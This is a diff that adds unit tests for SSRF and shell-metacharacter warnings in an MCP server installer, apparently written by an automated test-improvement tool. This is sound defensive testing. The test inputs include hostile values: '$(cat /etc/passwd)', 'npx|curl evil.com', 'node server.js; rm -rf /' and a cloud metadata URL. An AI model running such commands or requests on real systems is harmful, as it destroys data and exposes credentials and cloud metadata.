[Test Improver] test: add unit tests for install/mcp_warnings.py (0% -> ~100%)

tests/unit/install/test_mcp_warnings.py

@@ -0,0 +1,308 @@
+"""Unit tests for ``apm_cli.install.mcp.warnings``.
+
+Covers F5 (SSRF) and F7 (shell metacharacter) non-blocking safety warnings
+that fire during ``apm install --mcp``.
+"""
+
+from __future__ import annotations
+
+from unittest.mock import MagicMock, patch
+
+from apm_cli.install.mcp.warnings import (
+    _is_internal_or_metadata_host,
+    warn_shell_metachars,
+    warn_ssrf_url,
+)
+
+# ================================================================
+# _is_internal_or_metadata_host
+# ================================================================
+
+
+class TestIsInternalOrMetadataHost:
+    """Tests for the host-classification helper."""
+
+    # -- empty / falsy inputs --
+
+    def test_empty_string_returns_false(self):
+        assert _is_internal_or_metadata_host("") is False
+
+    # -- loopback addresses --
+
+    def test_ipv4_loopback_returns_true(self):
+        assert _is_internal_or_metadata_host("127.0.0.1") is True
+
+    def test_ipv4_loopback_other_returns_true(self):
+        assert _is_internal_or_metadata_host("127.255.0.1") is True
+
+    def test_ipv6_loopback_returns_true(self):
+        assert _is_internal_or_metadata_host("::1") is True
+
+    # -- cloud metadata endpoints --
+
+    def test_aws_imds_returns_true(self):
+        assert _is_internal_or_metadata_host("169.254.169.254") is True
+
+    def test_alibaba_cloud_imds_returns_true(self):
+        assert _is_internal_or_metadata_host("100.100.100.200") is True
+
+    def test_aws_ipv6_imds_returns_true(self):
+        assert _is_internal_or_metadata_host("fd00:ec2::254") is True
+
+    # -- link-local --
+
+    def test_link_local_ipv4_returns_true(self):
+        assert _is_internal_or_metadata_host("169.254.1.1") is True
+
+    # -- RFC1918 private ranges --
+
+    def test_rfc1918_class_a_returns_true(self):
+        assert _is_internal_or_metadata_host("10.0.0.1") is True
+
+    def test_rfc1918_class_b_returns_true(self):
+        assert _is_internal_or_metadata_host("172.16.0.1") is True
+
+    def test_rfc1918_class_c_returns_true(self):
+        assert _is_internal_or_metadata_host("192.168.1.100") is True
+
+    # -- IPv6 brackets (literal URL host) --
+
+    def test_ipv6_loopback_bracketed_returns_true(self):
+        assert _is_internal_or_metadata_host("[::1]") is True
+
+    def test_ipv6_private_bracketed_returns_true(self):
+        assert _is_internal_or_metadata_host("[fc00::1]") is True
+
+    # -- public / external addresses (should return False) --
+
+    def test_public_ipv4_returns_false(self):
+        assert _is_internal_or_metadata_host("8.8.8.8") is False
+
+    def test_public_ipv4_other_returns_false(self):
+        assert _is_internal_or_metadata_host("1.1.1.1") is False
+
+    # -- hostname resolution --
+
+    def test_hostname_resolves_to_loopback_returns_true(self):
+        with patch("socket.gethostbyname", return_value="127.0.0.1"):
+            assert _is_internal_or_metadata_host("my-internal-host") is True
+
+    def test_hostname_resolves_to_public_returns_false(self):
+        with patch("socket.gethostbyname", return_value="93.184.216.34"):
+            assert _is_internal_or_metadata_host("example.com") is False
+
+    def test_hostname_resolution_failure_returns_false(self):
+        with patch("socket.gethostbyname", side_effect=OSError("no route")):
+            assert _is_internal_or_metadata_host("unresolvable.local") is False
+
+    def test_hostname_unicode_error_returns_false(self):
+        with patch("socket.gethostbyname", side_effect=UnicodeError):
+            assert _is_internal_or_metadata_host("bad\x00host") is False
+
+
+# ================================================================
+# warn_ssrf_url  (F5)
+# ================================================================
+
+
+class TestWarnSsrfUrl:
+    """Tests for the SSRF URL warning helper."""
+
+    def _make_logger(self):
+        return MagicMock()
+
+    def test_none_url_does_not_warn(self):
+        logger = self._make_logger()
+        warn_ssrf_url(None, logger)
+        logger.warning.assert_not_called()
+
+    def test_empty_url_does_not_warn(self):
+        logger = self._make_logger()
+        warn_ssrf_url("", logger)
+        logger.warning.assert_not_called()
+
+    def test_internal_url_warns(self):
+        logger = self._make_logger()
+        warn_ssrf_url("http://127.0.0.1:8080/api", logger)
+        logger.warning.assert_called_once()
+        msg = logger.warning.call_args[0][0]
+        # Extract the URL embedded in the warning ("URL '<url>' points...")
+        # and assert via urlparse rather than substring matching, per repo
+        # test convention (CodeQL py/incomplete-url-substring-sanitization).
+        import re
+        from urllib.parse import urlparse
+
+        match = re.search(r"URL '([^']+)'", msg)
+        assert match is not None, f"warning message has no quoted URL: {msg!r}"
+        assert urlparse(match.group(1)).hostname == "127.0.0.1"
+
+    def test_metadata_url_warns(self):
+        logger = self._make_logger()
+        warn_ssrf_url("http://169.254.169.254/latest/meta-data", logger)
+        logger.warning.assert_called_once()
+
+    def test_private_range_url_warns(self):
+        logger = self._make_logger()
+        warn_ssrf_url("https://192.168.0.1/mcp", logger)
+        logger.warning.assert_called_once()
+
+    def test_public_url_does_not_warn(self):
+        logger = self._make_logger()
+        warn_ssrf_url("https://mcp.example.com/v1", logger)
+        logger.warning.assert_not_called()
+
+    def test_malformed_url_does_not_crash(self):
+        logger = self._make_logger()
+        # Should swallow ValueError/TypeError gracefully
+        warn_ssrf_url("not-a-url", logger)
+        # May or may not warn; must not raise
+
+    def test_url_with_no_hostname_does_not_crash(self):
+        logger = self._make_logger()
+        warn_ssrf_url("file:///etc/passwd", logger)
+        # file:// has no hostname; must not raise
+
+    def test_hostname_resolves_to_private_warns(self):
+        logger = self._make_logger()
+        with patch("socket.gethostbyname", return_value="10.0.0.1"):
+            warn_ssrf_url("http://internal-host/endpoint", logger)
+        logger.warning.assert_called_once()
+
+
+# ================================================================
+# warn_shell_metachars  (F7)
+# ================================================================
+
+
+class TestWarnShellMetachars:
+    """Tests for the shell metacharacter warning helper."""
+
+    def _make_logger(self):
+        return MagicMock()
+
+    # -- no-op paths --
+
+    def test_none_env_and_no_command_does_nothing(self):
+        logger = self._make_logger()
+        warn_shell_metachars(None, logger)
+        logger.warning.assert_not_called()
+
+    def test_empty_env_and_no_command_does_nothing(self):
+        logger = self._make_logger()
+        warn_shell_metachars({}, logger)
+        logger.warning.assert_not_called()
+
+    def test_clean_env_does_not_warn(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"MY_TOKEN": "abc123", "PORT": "3000"}, logger)
+        logger.warning.assert_not_called()
+
+    def test_clean_command_does_not_warn(self):
+        logger = self._make_logger()
+        warn_shell_metachars(None, logger, command="npx -y @modelcontextprotocol/server")
+        logger.warning.assert_not_called()
+
+    # -- env value metacharacters --
+
+    def test_dollar_paren_in_env_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"SECRET": "$(cat /etc/passwd)"}, logger)
+        logger.warning.assert_called_once()
+        msg = logger.warning.call_args[0][0]
+        assert "SECRET" in msg
+
+    def test_backtick_in_env_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"VAL": "`id`"}, logger)
+        logger.warning.assert_called_once()
+
+    def test_semicolon_in_env_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"CMD": "foo; bar"}, logger)
+        logger.warning.assert_called_once()
+
+    def test_double_ampersand_in_env_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"RUN": "true && bad"}, logger)
+        logger.warning.assert_called_once()
+
+    def test_double_pipe_in_env_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"FALLBACK": "a || b"}, logger)
+        logger.warning.assert_called_once()
+
+    def test_pipe_in_env_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"PIPE": "cmd | grep x"}, logger)
+        logger.warning.assert_called_once()
+
+    def test_redirect_append_in_env_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"OUT": "cmd >> /tmp/log"}, logger)
+        logger.warning.assert_called_once()
+
+    def test_redirect_write_in_env_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"OUT": "cmd > /tmp/out"}, logger)
+        logger.warning.assert_called_once()
+
+    def test_redirect_read_in_env_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars({"IN": "cmd < input.txt"}, logger)
+        logger.warning.assert_called_once()
+
+    def test_only_first_metachar_triggers_warning_per_key(self):
+        """Only one warning is emitted per env key (break after first match)."""
+        logger = self._make_logger()
+        warn_shell_metachars({"MULTI": "$(foo) && bar"}, logger)
+        # Only one call despite multiple metacharacters
+        assert logger.warning.call_count == 1
+
+    def test_multiple_keys_each_warn_independently(self):
+        """Each offending env key produces its own warning."""
+        logger = self._make_logger()
+        warn_shell_metachars({"K1": "$(a)", "K2": "$(b)"}, logger)
+        assert logger.warning.call_count == 2
+
+    def test_none_value_in_env_does_not_crash(self):
+        """None env values are treated as empty strings without error."""
+        logger = self._make_logger()
+        warn_shell_metachars({"TOKEN": None}, logger)
+        logger.warning.assert_not_called()
+
+    def test_integer_value_in_env_does_not_crash(self):
+        """Non-string env values are coerced to str without error."""
+        logger = self._make_logger()
+        warn_shell_metachars({"PORT": 3000}, logger)
+        logger.warning.assert_not_called()
+
+    # -- command field metacharacters --
+
+    def test_command_with_pipe_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars(None, logger, command="npx|curl evil.com")
+        logger.warning.assert_called_once()
+        msg = logger.warning.call_args[0][0]
+        assert "command" in msg.lower()
+
+    def test_command_with_semicolon_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars(None, logger, command="node server.js; rm -rf /")
+        logger.warning.assert_called_once()
+
+    def test_command_with_subshell_warns(self):
+        logger = self._make_logger()
+        warn_shell_metachars(None, logger, command="echo $(secret)")
+        logger.warning.assert_called_once()
+
+    def test_non_string_command_does_not_crash(self):
+        """Non-string command (e.g. list) is skipped gracefully."""
+        logger = self._make_logger()
+        warn_shell_metachars(None, logger, command=["npx", "server"])
+        logger.warning.assert_not_called()
+
+    def test_env_and_command_both_warn(self):
+        """Warnings fire for both env and command when both have metacharacters."""
+        logger = self._make_logger()
+        warn_shell_metachars({"K": "$(x)"}, logger, command="cmd; bad")
+        assert logger.warning.call_count == 2